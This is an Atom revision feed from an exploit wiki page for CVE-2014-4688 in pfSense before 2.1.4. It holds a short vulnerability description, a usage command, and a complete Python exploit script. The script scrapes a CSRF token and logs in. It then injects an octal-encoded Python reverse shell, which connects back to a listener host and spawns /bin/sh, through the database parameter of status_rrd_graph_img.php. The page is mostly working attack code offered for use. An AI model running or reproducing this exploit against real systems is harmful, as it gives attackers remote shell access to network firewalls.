<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-4688_pfSense_before_2.1.4%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2014-4688 pfSense before 2.1.4任意命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-4688_pfSense_before_2.1.4%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-4688_pfSense_before_2.1.4%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-12T10:18:15Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2014-4688_pfSense_before_2.1.4%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1098&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== pfSense before 2.1.4 allows remote authenticated users to execute arbitrary commands via (1) the hostname value to diag_dns.php in a Create Alias action, (2) the smar...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-4688_pfSense_before_2.1.4%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1098&amp;oldid=prev"/>
		<updated>2021-04-07T08:01:21Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== pfSense before 2.1.4 allows remote authenticated users to execute arbitrary commands via (1) the hostname value to diag_dns.php in a Create Alias action, (2) the smar...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
pfSense before 2.1.4 allows remote authenticated users to execute arbitrary commands via (1) the hostname value to diag_dns.php in a Create Alias action, (2) the smartmonemail value to diag_smart.php, or (3) the database value to status_rrd_graph_img.php.&lt;br /&gt;
&lt;br /&gt;
==Usage==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==pfsense.py==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
&lt;br /&gt;
# Exploit Title: pfSense &amp;lt;= 2.1.3 status_rrd_graph_img.php Command Injection.&lt;br /&gt;
# Date: 2018-01-12&lt;br /&gt;
# Exploit Author: absolomb&lt;br /&gt;
# Vendor Homepage: https://www.pfsense.org/&lt;br /&gt;
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/&lt;br /&gt;
# Version: &amp;lt;=2.1.3&lt;br /&gt;
# Tested on: FreeBSD 8.3-RELEASE-p16&lt;br /&gt;
# CVE : CVE-2014-4688&lt;br /&gt;
&lt;br /&gt;
import argparse&lt;br /&gt;
import requests&lt;br /&gt;
import urllib&lt;br /&gt;
import urllib3&lt;br /&gt;
import collections&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
pfSense &amp;lt;= 2.1.3 status_rrd_graph_img.php Command Injection.&lt;br /&gt;
This script will return a reverse shell on specified listener address and port.&lt;br /&gt;
Ensure you have started a listener to catch the shell before running!&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;--rhost&amp;quot;, help = &amp;quot;Remote Host&amp;quot;)&lt;br /&gt;
parser.add_argument('--lhost', help = 'Local Host listener')&lt;br /&gt;
parser.add_argument('--lport', help = 'Local Port listener')&lt;br /&gt;
parser.add_argument(&amp;quot;--username&amp;quot;, help = &amp;quot;pfsense Username&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;--password&amp;quot;, help = &amp;quot;pfsense Password&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
rhost = args.rhost&lt;br /&gt;
lhost = args.lhost&lt;br /&gt;
lport = args.lport&lt;br /&gt;
username = args.username&lt;br /&gt;
password = args.password&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# command to be converted into octal&lt;br /&gt;
command = &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
python -c 'import socket,subprocess,os;&lt;br /&gt;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);&lt;br /&gt;
s.connect((&amp;quot;%s&amp;quot;,%s));&lt;br /&gt;
os.dup2(s.fileno(),0);&lt;br /&gt;
os.dup2(s.fileno(),1);&lt;br /&gt;
os.dup2(s.fileno(),2);&lt;br /&gt;
p=subprocess.call([&amp;quot;/bin/sh&amp;quot;,&amp;quot;-i&amp;quot;]);'&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot; % (lhost, lport)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# encode payload in octal&lt;br /&gt;
for char in command:&lt;br /&gt;
	payload += (&amp;quot;\\&amp;quot; + oct(ord(char)).lstrip(&amp;quot;0o&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
login_url = 'https://' + rhost + '/index.php'&lt;br /&gt;
exploit_url = &amp;quot;https://&amp;quot; + rhost + &amp;quot;/status_rrd_graph_img.php?database=queues;&amp;quot;+&amp;quot;printf+&amp;quot; + &amp;quot;'&amp;quot; + payload + &amp;quot;'|sh&amp;quot;&lt;br /&gt;
&lt;br /&gt;
headers = [&lt;br /&gt;
	('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),&lt;br /&gt;
	('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),&lt;br /&gt;
	('Accept-Language', 'en-US,en;q=0.5'),&lt;br /&gt;
	('Referer',login_url),&lt;br /&gt;
	('Connection', 'close'),&lt;br /&gt;
	('Upgrade-Insecure-Requests', '1'),&lt;br /&gt;
	('Content-Type', 'application/x-www-form-urlencoded')&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
# probably not necessary but did it anyways&lt;br /&gt;
headers = collections.OrderedDict(headers)&lt;br /&gt;
&lt;br /&gt;
# Disable insecure https connection warning&lt;br /&gt;
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)&lt;br /&gt;
&lt;br /&gt;
client = requests.session()&lt;br /&gt;
&lt;br /&gt;
# try to get the login page and grab the csrf token&lt;br /&gt;
try:&lt;br /&gt;
	login_page = client.get(login_url, verify=False)&lt;br /&gt;
&lt;br /&gt;
	index = login_page.text.find(&amp;quot;csrfMagicToken&amp;quot;)&lt;br /&gt;
	csrf_token = login_page.text[index:index+128].split('&amp;quot;')[-1]&lt;br /&gt;
&lt;br /&gt;
except:&lt;br /&gt;
	print(&amp;quot;Could not connect to host!&amp;quot;)&lt;br /&gt;
	exit()&lt;br /&gt;
&lt;br /&gt;
# format login variables and data&lt;br /&gt;
if csrf_token:&lt;br /&gt;
	print(&amp;quot;CSRF token obtained&amp;quot;)&lt;br /&gt;
	login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ]&lt;br /&gt;
	login_data = collections.OrderedDict(login_data)&lt;br /&gt;
	encoded_data = urllib.parse.urlencode(login_data)&lt;br /&gt;
&lt;br /&gt;
# POST login request with data, cookies and header&lt;br /&gt;
	login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers)&lt;br /&gt;
else:&lt;br /&gt;
	print(&amp;quot;No CSRF token!&amp;quot;)&lt;br /&gt;
	exit()&lt;br /&gt;
&lt;br /&gt;
if login_request.status_code == 200:&lt;br /&gt;
		print(&amp;quot;Running exploit...&amp;quot;)&lt;br /&gt;
# make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell&lt;br /&gt;
		try:&lt;br /&gt;
			exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5)&lt;br /&gt;
			if exploit_request.status_code:&lt;br /&gt;
				print(&amp;quot;Error running exploit&amp;quot;)&lt;br /&gt;
		except:&lt;br /&gt;
			print(&amp;quot;Exploit completed&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>